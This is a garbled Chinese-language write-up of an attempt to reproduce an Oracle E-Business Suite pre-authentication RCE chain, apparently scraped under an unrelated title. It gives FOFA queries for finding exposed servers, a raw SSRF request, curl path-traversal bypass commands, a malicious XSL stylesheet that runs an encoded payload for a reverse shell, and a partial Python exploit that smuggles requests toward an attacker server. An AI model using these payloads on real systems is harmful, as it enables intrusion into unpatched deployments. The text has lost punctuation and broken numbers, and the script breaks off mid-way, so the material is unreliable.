核心内容摘要
网络安全视角下的AnythingtoRealCharacters2511服务防护
CVE-
漏洞复现已失败漏洞描述该漏洞源于Oracle E-Business Suite在处理用户请求时多个组件存在安全缺陷UiServlet未对用户提供的XML参数进行充分验证导致SSRF漏洞后续处理过程中缺乏对CRLF注入的有效防护使攻击者可操纵HTTP请求内部服务绑定配置不当及路径遍历防护不足导致认证绕过最终通过XSLT处理器加载恶意样式表时缺乏安全限制实现远程代码执行。
影响产品Oracle E-Business Suite, versions
12.
3-
12.
14FOFA查询语句参考title“E-Business Suite Home Page” || body“/OA_HTML/AppsLogin” || (body“Template AD_TOP/admin/template/index.html” body“/OA_HTML/”) || body“/OA_HTML/AppsLocalLogin.jsp” || header“/OA_HTML/AppsLogin” || banner“/OA_HTML/AppsLogin”漏洞分析watchtowr 团队的文章 Well, Well, Well. It’s Another Day. (Oracle E-Business Suite Pre-Auth RCE Chain - CVE-2025-
中对漏洞成因和利用方式做了详细的分析此处只发表一些个人的
总结与学习经验。
Begin From SSRForacle.apps.cz.servlet.UiServlet中有如下易受攻击的代码片段if(paramHttpServletRequest.getParameter(killAndRestartServer)!null){paramHttpServletResponse.sendError(
;closeSession(httpSession);}elseif(paramHttpServletRequest.getParameter(generateOutput)!null){generateOutput(paramHttpServletRequest,paramHttpServletResponse);}elseif(paramHttpServletRequest.getParameter(getUiType)!null){StringstrparamHttpServletRequest.getParameter(redirectFromJsp);// [1]XMLDocumentxMLDocumentXmlUtil.parseXmlString(paramHttpServletRequest.getParameter(getUiType));// [0]if(strnull||false.equalsIgnoreCase(str)){redirectToCZInitialize(paramHttpServletRequest,paramHttpServletResponse,str
;return;}createNew(xMLDocument,httpSession,paramHttpServletRequest,paramHttpServletResponse);// [2]如果redirectFromJsp传入了值createNew()函数会被调用尝试将getUiType处传入的参数解析为 XML 文档XML 中设置name属性为return_url的参数会被提取传入 Adapter 解析Stringstr1CZUiUtilities.resubXMLAndURLChars(XmlUtil.getReturnUrlParameter(paramXMLDocument));clientAdapter.setReturnUrl(str
;clientAdapter最终会调用postXmlMessage()函数对变量进行处理protectedvoidpostXmlMessage(StringparamString1,StringparamString
throwsServletException{try{this.m_sessionLogger.logTime(ClientAdapter.postXmlMessage: Redirect [raw] (,paramString1,) for response.);URLuRLgetUrl(paramString
;if(uRL!null)paramString1uRL.toExternalForm();CZURLConnectioncZURLConnectionnewCZURLConnection(paramString
;this.m_sessionLogger.logTime(ClientAdapter.postXmlMessage: Redirect [path resolved] (,cZURLConnection.getFullURL(),) for response.);String[]arrayOfString1{XMLmsg};String[]arrayOfString2{paramString2};cZURLConnection.connect(1,arrayOfString1,arrayOfString
;cZURLConnection.close();}catch(Exceptionexception){if(exceptioninstanceoforacle.apps.cz.utilities.SSLSupportUnavailableExceptionthis.m_sessionLogger!null)this.m_sessionLogger.logOutput(CZUiUtilities.stackTraceToString(exception));thrownewServletException(Could not post XML message to result URL: exception.getMessage());}}cZURLConnection.connect()会向我们传入的url发 POST 请求由此造成可利用的 SSRF 漏洞。
privatevoidconnect(URLparamURL,StringparamString)throwsIOException{HttpURLConnectionhttpURLConnection(HttpURLConnection)paramURL.openConnection();updateDefaultHeaders(httpURLConnection,...);httpURLConnection.setDoOutput(true);httpURLConnection.setRequestMethod(POST);if(httpURLConnection!null){this.m_connectionOutputStreamhttpURLConnection.getOutputStream();postMessage(paramString,httpURLConnection);}}BP发包和 DNSLog 回显可以通过发送如下请求以接收DNS回显的形式判断漏洞存在POST /OA_HTML/configurator/UiServlet HTTP/
1 Host: Content-Type: application/x-www-form-urlencoded redirectFromJsp1getUiType?xml version
0 encodingUTF-8? initialize param nameinit_was_savedtest/param param namereturn_urlhttp:///param param nameui_def_id0/param param nameconfig_effective_usage_id0/param param nameui_typeApplet/param /initialize结果如下SSRF To RCECRLF掌握了 SSRF 漏洞后攻击者可以更进一步利用 CRLF 有效载荷完全控制 SSRF 请求。
watchtowr 的作者指出我们观察到的攻击链中的一个巧妙之处在于利用 SSRF 有效载荷中的 CRLF 注入然后通过滥用 HTTP 持久连接更进一步。
这种组合使攻击者能够通过 SSRF 控制请求帧然后重用同一个 TCP 连接来链接其他请求从而提高可靠性并减少噪声。
通过 HTTP keep-alive 允许对 TCP 连接进行重用这使我们最初的 SSRF 攻击成功后可以维持一个长连接继续发起请求进行接下来的攻击。
两种方式的请求走私Oracle E-Business Suite 部署会将应用程序的一些核心部分绑定到本地 7201 端口的 HTTP 服务中后续进行访问获取netstat-lnt tcp
600172.
31.
2
161:7201 :::* LISTEN这项服务并非绑定到本地主机而是专门绑定到某个私有IP地址/接口这使得我们可以尝试请求走私通过 CRLF 修改请求头将获取请求转到我们的恶意服务器。
第一种攻击方式是利用 Oracle EBS 经常会在/etc/hosts文件中进行映射的特性:cat/etc/hosts
172.
31.
2
161 apps.example.com apps请求 http://apps.example.com:7201 相当于请求了内网。
还有一种攻击方式是先想办法触发 302 然后去拿 302 跳转的 Hostreqsess.get(target/OA_HTML/runforms.jsp,headersheader,allow_redirectsFalse)ifreq.status_code302:locationreq.headers[Location]location_urlurllib.parse.urlparse(location)iflocation_url.hostname!internal_host:print(f[*] reset internal_host:{location_url.hostname})Auth Bypass如果你想直接访问 jsp 文件那大概率会被拦截。
curl-s http://apps.example.com:7201/OA_HTML/ieshostedsurvey.jsp Requested resource or page is not allowedinthis site然而/help/路由通常不需要认证可以用它做跳板进行路径绕过访问文件内容。
curl-s --path-as-is http://apps.example.com:7201/OA_HTML/help/../ieshostedsurvey.jspXSL Transformation如上所述该攻击链的目标是/OA_HTML/help/../ieshostedsurvey.jsp端口7201。
ieshostedsurvey.jsp其中一段代码虽然相当简单但却拥有可以被利用的功能// /u01/install/APPS/fs1/FMW_Home/Oracle_EBS-app1/applications/oacore/html/ieshostedsurvey.jsp!--$Header:ieshostedsurvey.jsp
1
02005/06/0307:43:36appldev noship $--% include filejtfincl.jsp%%pagelanguagejavaimportjava.sql.*%%pagelanguagejavaimportoracle.xml.sql.query.*%%pagelanguagejavaimportoracle.xml.parser.v
*%%pagelanguagejavaimportjava.net.*%%pagelanguagejavaimportjava.io.*%%//Admin Console assumed varsStringappNameIES;booleanstatelesstrue;%% include filejtfsrnfp.jsp%htmlhead% include filejtfscss.jsp%titleOralceiSurvey/title/headbody%_jtfPageContext.getHtmlBodyAttr()%classapplicationBody% include filejtfdnbar.jsp%%Stringurilocrequest.getRequestURI();StringTokenizerstnewStringTokenizer(uriloc,//);inttokenCountst.countTokens();StringBufferURInewStringBuffer();URI.append(/);for(inti0;itokenCount-1;i){URI.append(st.nextToken());URI.append(/);}StringBufferurlbufnewStringBuffer();// [1] urlbuf.append(http://); // [2] urlbuf.append(request.getServerName()); // [3] urlbuf.append(:).append(request.getServerPort()).append(URI.toString()); // [4] String xslURL urlbuf.toString() ieshostedsurvey.xsl; // [5] String desturl ServletSessionManager.getURL(iessvymenubased.jsp); StringBuffer query new StringBuffer(select s.survey_name || -- || c.SURVEY_CYCLE_NAME || -- || d.Deployment_name || -- ||d.SURVEY_DEPLOYMENT_ID as survey_name,); query.append(\\).append(desturl).append(\\).append( uri ,d.SURVEY_DEPLOYMENT_ID as deployment_id from IES_SVY_SURVEYS_ALL s, IES_SVY_CYCLES_ALL c, IES_SVY_DEPLYMENTS_ALL d where s.SURVEY_ID c.SURVEY_ID and c.SURVEY_CYCLE_ID d.SURVEY_CYCLE_ID and d.DEPLOYMENT_STATUS_CODE ACTIVE and d.LIST_HEADER_ID is null and sysdate between d.DEPLOY_DATE and d.RESPONSE_END_DATE ); Connection conn null; OracleXMLQuery q null; try{connTransactionScope.getConnection();qnewOracleXMLQuery(conn,query.toString());}catch(Exceptionex){out.println(ex.getMessage());if(conn!null)conn.close();}XMLDocumentxmlDoc(XMLDocument)q.getXMLDOM();//URL stylesheetURL new URL(http://kpandey-lap
us.oracle.com/html/ieshostedsurvey.xsl); URL stylesheetURL new URL(xslURL.toString()); // [6] XSLStylesheet sheet new XSLStylesheet(stylesheetURL,stylesheetURL); // [7] XSLProcessor xslt new XSLProcessor(); // [8] ByteArrayOutputStream outBytes new ByteArrayOutputStream(); xslt.processXSL(sheet, xmlDoc, new PrintWriter(new BufferedWriter(new OutputStreamWriter(outBytes)))); // [9] String html outBytes.toString(); out.println(html);%/body/html% include filejtfernlp.jsp%这段代码的工作原理如下[1]创建一个字符串变量urlbuf[2]附加http://到urlbuf[3]从请求头的Host:中提取主机名并将其附加到urlbuf[4]从同一Host:中提取端口号并将其附加到urlbuf[5]将urlbuf /ieshostedsurvey.xsl赋值给xslURL[6]根据xslURL构造一个URL对象并将其赋值给stylesheetURL[7]用stylesheetURL实例化XSLStylesheet[8]创建一个XSLProcessor实例[9]调用xslt.processXSL()该函数会获取并解析远程 XSL 文档。
综合起来这段代码会根据传入的Host:标头构建一个远程 url从而导致服务器从该 url 下载/ieshostedsurvey.xsl并解析。
由于 Java 中的 XSLT 处理可以调用模板和扩展函数因此加载不受信任的样式表可以使攻击者能够实现任意远程代码执行。
恶意 xsl 脚本如下如果成功可以通过反弹 Shell 进行 RCE。
xsl:stylesheetversion
0xmlns:xslhttp://www.w
org/1999/XSL/Transformxmlns:b64http://www.oracle.com/XSL/Transform/java/sun.misc.BASE64Decoderxmlns:jsmhttp://www.oracle.com/XSL/Transform/java/javax.script.ScriptEngineManagerxmlns:enghttp://www.oracle.com/XSL/Transform/java/javax.script.ScriptEnginexmlns:strhttp://www.oracle.com/XSL/Transform/java/java.lang.Stringxsl:templatematch/xsl:variablenamebsselectb64:decodeBuffer(b64:new(),[base64_encoded_payload])/xsl:variablenamejsselectstr:new($bs)/xsl:variablenamemselectjsm:new()/xsl:variablenameeselectjsm:getEngineByName($m,js)/xsl:variablenamecodeselecteng:eval($e, $js)/xsl:value-ofselect$code//xsl:template/xsl:stylesheet尝试攻击失败根据 Investigation into Oracle E-Business Suite (EBS) Exploit Components 这篇博客的思路让 AI 辅助写了个攻击脚本。
importrequestsimporturllib.parseimportsys# Configuration # 目标 Oracle EBS 服务器地址 (结尾不要带 /)TARGET_URLhttp://target_url# 你的 OOB/攻击服务器 IP (用于接收请求走私的反弹连接)EVIL_SERVER_IPevil_server_ip# 目标内部 Configurator 端口 (通常是
INTERNAL_PORT7201# Cookie (根据抓包内容设置)COOKIEJSESSIONID_NG5Yg8cBERFjA5L23s9UUyzG7G8hSZpYkmc6YAEBjT71alQ2UH6!906988146; EBSDBoSVgJCh0YacxUZCwOlLajtL2zo# 本地测试时如果不需要走代理或BP把这行注释掉PROXIES{http:http://
127.
0.
1:8080,https:http://
127.
0.
1:8080}# PROXIES None# defgenerate_payload(evil_ip,internal_port): 构造恶意的 CRLF 注入 Payload并进行全 HTML 实体编码 #
构造要注入的 HTTP 请求 (Smuggled Request)# 严格按照用户提供的抓包格式构造# 这里的 Cookie 和 Host 可以根据配置动态替换smuggled_requestf/OA_HTML/help/../ieshostedsurvey.jsp HTTP/
2 Host:{evil_ip}User-Agent: anything Connection: keep-alive Cookie:{COOKIE}POST /# 替换为标准 CRLF (先统一转为 \n 再转为 \r\n确保精确控制)smuggled_requestsmuggled_request.replace(\r\n,\n).replace(\n,\r\n)#
核心步骤全字符 HTML 实体编码encoded_entities.join([f#{ord(c)};forcinsmuggled_request])#
构造完整的 XML Payload# 按照用户提供的 XML 结构xml_payloadf?xml version
0 encodingUTF-8? initialize param nameinit_was_savedtest/param param namereturn_urlhttp://apps.example.com:{internal_port}{encoded_entities}/param param nameui_def_id0/param param nameconfig_effective_usage_id0/param param nameui_typeApplet/param /initializereturnxml_payloaddefexploit():target_endpointf{TARGET_URL}/OA_HTML/configurator/UiServletprint(f[*] Target:{target_endpoint})print(f[*] Evil Server:{EVIL_SERVER_IP})# 生成 XML Payloadxml_datagenerate_payload(EVIL_SERVER_IP,INTERNAL_PORT)# 构造 POST Body 参数post_data{redirectFromJsp:1,getUiType:xml_data}# 构造请求头 (参考用户抓包)headers{User-Agent:Mozilla/
0 (Windows NT
1
0; Win64; x
AppleWebKit/
5
36 (KHTML, like Gecko) Chrome/
136.
0.
0 Safari/
5